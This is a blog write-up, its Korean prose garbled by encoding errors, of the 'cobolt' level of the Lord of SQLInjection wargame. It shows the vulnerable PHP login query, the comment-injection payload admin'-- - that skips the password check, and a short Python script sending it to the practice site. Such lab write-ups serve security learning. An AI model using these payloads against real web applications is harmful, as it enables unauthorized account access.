Write Up
์ ๋ฌธ์ ๋ค์ query๋ฌธ๊ณผ ํด๋น ์์ค์ฝ๋๋ฅผ ์๋ ค์ค๋๋ค.
์ด๋ฅผ ์ด์ฉํ์ฌ solve() ํจ์๋ฅผ ์คํ์ํค๋ฉด ๋ฌธ์ ๊ฐ ํ๋ฆฌ๋ ํ์์
๋๋ค.
์ด์ gremlin ๋ฌธ์ ์ ๋งค์ฐ ์ ์ฌํ๋ค์
https://los.rubiya.kr/gate.php
los.rubiya.kr
์์ค ์ฝ๋ ๋ถ์
...
#import point!!
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
...
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
ํฌ๊ฒ ๋ฌ๋ผ์ง ๋ถ๋ถ์ด์ ํต์ฌ์ธ ๋ถ๋ถ์
๋๋ค.
์์ ๋ดค๋ ๋ฌธ์ ์ ์ ์ฌํ๋, PW๋ฅผ md5๋ก ์ํธํ ํ ๋ชจ์ต์ ํ์ธ ํ ์ ์์ต๋๋ค.
์ฆ, ์ ์๋ brute force ๊ณต๊ฒฉ์ผ๋ก๋ ๊ฐ๋ฅํ๋ค๋ฉด ์ด์ ์ข ๋ ๊ฑธ๋ฆฐ๋ค๋ ์๋ฏธ?
SQL injection์ ํ๊ธฐ์ ์ ํฌ๋ ์ ๊ณผ ๊ฐ์ ํ์์ผ๋ก ํ๋ฉด ์ฌ์ค ํ๋ฆฐ๋ต๋๋ค..
MD5(Message-Digest algorithm 5)๋?
128๋นํธ ์ํธํ ํด์ ํจ์
RFC 1321๋ก ์ง์ ๋์ด ์์ผ๋ฉฐ, ์ฃผ๋ก ํ๋ก๊ทธ๋จ์ด๋ ํ์ผ์ด ์๋ณธ ๊ทธ๋๋ก์ธ์ง๋ฅผ ํ์ธํ๋ ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ ๋ฑ์ ์ฌ์ฉ
MD5๋ ํ๋ ๋ฐ์ดํฐ ๋ณด์(์ํธํ)์ ์ฌ์ฉ๋์์ผ๋ฉฐ , ๊ทธ๋ฌ๋ ์์ฆ ์ฃผ์ ์ฉ๋๋ ์ธ์ฆ์ ๋๋ค. ๋๋ฌธ์ ํด์ปค ์์ ํ ๋ค๋ฅธ ํ์ผ๊ณผ ์ ํํ ๋์ผํ ํด์๋ฅผ ๊ฐ์ง ํ์ผ์ ๋ง๋ค ์ ์์ผ๋ฉฐ ๋๊ตฐ๊ฐ๊ฐ ํ์ผ์ ๋ฌด๋จ ๋ณ๊ฒฝํ๋ ๊ฒฝ์ฐ MD5๊ฐ ์์ ํ์ง ์์ต๋๋ค.
๊ทธ๋ฌ๋ ํ์ฌ๋ ๋จ์ํ ํ ์ฅ์์์ ๋ค๋ฅธ ์ฅ์๋ก ํ์ผ์ ๋ณต์ฌํ๋ ๊ฒฝ์ฐ MD5๊ฐ ์์ ์ ์ํํฉ๋๋ค.
What Is the MD5 Hashing Algorithm and How Does It Work?
The MD5 algorithm is a hash function. Find out how it works, and what the MD5 hashing algorithm is used for.
www.avast.com
๊ทธ๋ฌ๊ธฐ์ ํด๋น PW์ ์ฝ์ ํ๋ ๋ถ๋ถ์ ๊ทธ๋ฅ ์ฐํํ๋ฉด ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋๊ฒ ๋ค์.
Soultion
Where์ ์ฃผ์(์ฐํ)
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php
?id=admin%27--%20-
?id=admin'-- -
ํด๋น ๋ถ๋ถ์ GET๋ฐฉ์์ผ๋ก ์ป๊ธฐ์ URL์ ์ ๋ ฅ์ ํ์ฌ SQL๋ฌธ์ ๋์ํฉ๋๋ค.
์ ์ ๋ฌธ์ ์ ๋๋ฌด ๋๊ฐ์ด ํ์๋์..? id๊ฐ admin์ด์ผ ํ๋๊น ์์ ํ ๋ชจ์ต
๊ทผ๋ฐ ๋ญ.. ์ด๋ ๊ฒ ํด๋ ํ๋ฆฌ๊ธฐ ๋๋ฌธ์ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ด ์๋ค๋ฉด ์๋ ค์ฃผ์ธ์
(์ ๋ ๊ท์ฐฎ์์ ์ด๋ ๊ฒ ํ ๋๋๋ค ใ
)
Exploit Code
#!/usr/bin/python3
from requests import get
from pwn import *
url = 'https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php'
cookies = dict(PHPSESSID='05ivanqqvt1mh4gvt59jiihjj5')
query = "?id=admin'-- -"
def pw_leak(url, query):
r = get(url+query, cookies=cookies)
if r.text.find('<h2>COBOLT Clear!</h2>') > 0:
log.success('Success!!')
else:
log.failure('False :(')
if '__main__' in __name__:
print(url)
pw_leak(url, query)
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง
'๐โWeb_Study > ๐ โLord_of_SQLInjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LORD OF SQLINJECTION] orc (2) | 2023.05.13 |
---|---|
[LORD OF SQLINJECTION] goblin (0) | 2023.05.12 |
[LORD OF SQLINJECTION]gremlin (0) | 2023.04.29 |